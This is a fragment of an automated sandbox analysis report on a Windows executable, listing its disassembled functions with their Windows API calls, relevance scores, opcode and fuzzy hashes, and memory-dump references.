Opcode ID: 46bf3b49fb3124b20b26849d3f96ebab8958347a080c85236d637af58840fa95
Instruction ID: a2c2ae871b20a7f651e14226ae934804f023725c52e887911cb1b1382089a511
Opcode Fuzzy Hash: 46bf3b49fb3124b20b26849d3f96ebab8958347a080c85236d637af58840fa95
Instruction Fuzzy Hash: 54313872610215DBD721DF29EEC496A3BA9F74039A754433FE900F62E0CBB99D018B9D

Function 00402032 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,?,000000F0), ref: 0040205D

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

LoadLibraryExW.KERNEL32(00000000,?,00000008,?,000000F0), ref: 0040206E
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,?,000000F0), ref: 004020EB

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: c0091ceae9cfbdad611b36e7acbab474ec2c1bafca6550aebcba3b122e164ceb
Instruction ID: 38390b8595ebf5dc4f6cf14c4d4b7ed92d06cc21542818b97b262269bef072d5
Opcode Fuzzy Hash: c0091ceae9cfbdad611b36e7acbab474ec2c1bafca6550aebcba3b122e164ceb
Instruction Fuzzy Hash: DC218331D00215BACF20AFA5CE4D99E7A70BF04358F60413BF511B51E0DBBD8991DA6E

Function 00401B77 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00782918), ref: 00401BE7
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401BF9

Strings

Call, xrefs: 00401B9E, 00401BA4, 00401BBE

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: f7405ea9e476423423cde41a6620a17073824cabe1c2d7eedde19d286f021b37
Instruction ID: 4b9c6e54fa6809cb214bd66434af352d7e41d31d349781cb692caa9f676c35e6
Opcode Fuzzy Hash: f7405ea9e476423423cde41a6620a17073824cabe1c2d7eedde19d286f021b37
Instruction Fuzzy Hash: 6E217B73A00200D7DB20EB94CEC995E73A4AB45314765053BF506F32D1DBB8E851DBAD

Function 004024F8 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 0040252B
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 0040253E
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsd88AD.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 962e8dbebea2d0e856bbe812d5e95e45bdf7d67f5620c7d5b12d357826d7025c
Instruction ID: 69a0bd767b5398a5b54c194fc83da7942780fa4e63ecbf8b5358c30743fc2944
Opcode Fuzzy Hash: 962e8dbebea2d0e856bbe812d5e95e45bdf7d67f5620c7d5b12d357826d7025c
Instruction Fuzzy Hash: 4B017171904204ABEB149F95DE88ABF7AB8EF80348F10403EF505B61D0DAB85E419B69

Function 004031D6 Relevance: 3.1, APIs: 2, Instructions: 88COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 004031FB

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 09b1e881bc629fe9623964bcd0dac9c3534a319fde10b4dd95dd132c0a2dd849
Instruction ID: f938e70baf20f89fc7421c1cbc4d65c8cbb1a4a40291e2e844035b0cdbff1196
Opcode Fuzzy Hash: 09b1e881bc629fe9623964bcd0dac9c3534a319fde10b4dd95dd132c0a2dd849
Instruction Fuzzy Hash: 53314B30200219BBDB109F95ED84ADA3E68EB04759F20857EF905E62D0D6789A509BA9

Function 004015C1 Relevance: 3.1, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,?,?,75572EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 0040591F: CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405962

SetCurrentDirectoryW.KERNELBASE(?,00436000,?,00000000,000000F0), ref: 0040164D

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID:
API String ID: 1892508949-0
Opcode ID: c670449cb20163be3cb3cb34affd8c81282aa0e3ca4a40f31796d9e50139b1da
Instruction ID: 0139da5d792eeb989572d84d187c25f91b4f70b2bd1842bf542401118de2a59f
Opcode Fuzzy Hash: c670449cb20163be3cb3cb34affd8c81282aa0e3ca4a40f31796d9e50139b1da
Instruction Fuzzy Hash: 0511E631504511EBCF30AFA4CD4159F36A0EF15329B29453BFA45B22F1DB3E49419B5D

Function 00402484 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 004024B5
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsd88AD.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 63b64fe82c2f511c8169af5ec8c0190f19a921c94039209ad64b866aaad41420
Instruction ID: 8b4d26b48c61f4aea5aea8b01f6eaa690eaa4425e6198d6413393360261ed691
Opcode Fuzzy Hash: 63b64fe82c2f511c8169af5ec8c0190f19a921c94039209ad64b866aaad41420
Instruction Fuzzy Hash: 61119431910205EBDB14DF64CA585AE7BB4EF44348F20843FE445B72D0D6B85A81EB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 23ed1533968369fb0e08a97211bc38e5ec6adcca8744e4a1682e6817b2d67833
Instruction ID: 4945fb4554c9d48a14a82d28c5fc4c127f2c3d85d8aa5c2a63fae023cf5e702c
Opcode Fuzzy Hash: 23ed1533968369fb0e08a97211bc38e5ec6adcca8744e4a1682e6817b2d67833
Instruction Fuzzy Hash: AB01F431724210EBEB199B789D04B2A3698E710714F104A7FF855F62F1DA78CC529B5D

Function 0040238E Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 004023B0
RegCloseKey.ADVAPI32(00000000), ref: 004023B9

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: a00859f013a8106156cc87040160a2b11e5294e3cc8a521d5b70861134e176e9
Instruction ID: 92c71ce55c792e737e0c56b3c5c8c262173643586798c2a655fc457b9e75749a
Opcode Fuzzy Hash: a00859f013a8106156cc87040160a2b11e5294e3cc8a521d5b70861134e176e9
Instruction Fuzzy Hash: 5FF0F632E041109BE700BBA49B8EABE72A49B44314F29003FFE42F31C0CAF85D42976D

Function 004067C2 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

Part of subcall function 00406752: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
Part of subcall function 00406752: wsprintfW.USER32 ref: 004067A4
Part of subcall function 00406752: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction ID: 7b80e99db610fb1a261844a57c40f0e669857592e3492eb3b2a0c0f7ce0b312d
Opcode Fuzzy Hash: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction Fuzzy Hash: 14E086325042115BD21057745E48D3762AC9AC4704307843EF556F3041DB78DC35B66E

Function 00405EDE Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\ajRZflJ2ch.exe,80000000,00000003), ref: 00405EE2
CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 00405F04

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction ID: 5201df1ff3c0a0bd0294a98706b79309786c42e99614e685d4e3591f63f4d9e2
Opcode Fuzzy Hash: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction Fuzzy Hash: D5D09E31254601AFEF098F20DE16F2E7AA2EB84B04F11552CB7C2940E0DA7158199B15

Function 0040599C Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403498,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004059A2
GetLastError.KERNEL32(?,00000006,00000008,0000000A), ref: 004059B0

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction ID: 01a40f06620425e1c555583f7199589d3835b04f5715874dbca4219b9923c3a9
Opcode Fuzzy Hash: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction Fuzzy Hash: D6C04C71216502DAF7115F31DF09B177A50AB60751F11843AA146E11A4DA349455D92D

Function 70132AAC Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

EnumWindows.USER32(00000000), ref: 70132B6B

Memory Dump Source

Source File: 00000000.00000002.2274084322.0000000070131000.00000020.00000001.01000000.00000004.sdmp, Offset: 70130000, based on PE: true

Associated: 00000000.00000002.2273940310.0000000070130000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2274182585.0000000070134000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2274265618.0000000070136000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70130000_ajRZflJ2ch.jbxd

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 430d012b3ff71955d8860baee64414750ef2902258c88e91bc82f612225f9d8e
Instruction ID: a6d2ec3592266cb1cadc04f1fc861951a676ff65cd5ab736b18850b37650bbca
Opcode Fuzzy Hash: 430d012b3ff71955d8860baee64414750ef2902258c88e91bc82f612225f9d8e
Instruction Fuzzy Hash: F241D3B2804204EFDB25FF65DD92B4DFB74FB14768FB048AAF505D7910D63AA8848B90

Function 0040167B Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32(00000000,00000000), ref: 00401696

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: f4993909eaaf04b4d10f0c262de6f8e1be0fd70d19c578988f2b9bef0751c49c
Instruction ID: 73a88bd3a5ced7927151e6ebce11b30d6a6a5b8b2c4e1db0cab765602213b928
Opcode Fuzzy Hash: f4993909eaaf04b4d10f0c262de6f8e1be0fd70d19c578988f2b9bef0751c49c
Instruction Fuzzy Hash: CBF09031A0851197DF10BBA54F4DD5E22509B8236CB28073BB412B21E1DAFDC542A56E

Function 004027EF Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 0040280D

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 38b593970e7e5e8d656344d1d4c72dba1b6d10a1f376cfd8863b7a874be62c28
Instruction ID: 7217e66a6bf97858787bec6454aeb19e768c89e60d383eb7a66a1db5dd3d6cef
Opcode Fuzzy Hash: 38b593970e7e5e8d656344d1d4c72dba1b6d10a1f376cfd8863b7a874be62c28
Instruction Fuzzy Hash: 8BE06D71E00104ABD710DBA5AE098AEB7B8DB84308B60403BF601B10D0CA7959518E2E

Function 00406283 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402CF2,00000000,?,?), ref: 004062AC

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction ID: b492cd94208fe9a136032c47e7ca6226b28abdd7f17191690e67bc203102cabe
Opcode Fuzzy Hash: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction Fuzzy Hash: 94E0E672010209BEDF195F50DD0AD7B371DEB04304F11492EFA06D4051E6B5AD706634

Function 00405F61 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00414ED0,0040CED0,0040345A,0040A230,0040A230,0040335E,00414ED0,00004000,?,00000000,00403208), ref: 00405F75

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction ID: 5f0138a6a2c6563494c064dd15accf188ef387db15323854b273470b931b092f
Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction Fuzzy Hash: 7AE0EC3221025AAFDF109E959D04EFB7B6CEB05360F044836FD15E6150D675E8619BA4

Function 00405F90 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,0040F34D,0040CED0,004033DE,0040CED0,0040F34D,00414ED0,00004000,?,00000000,00403208,00000004), ref: 00405FA4

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

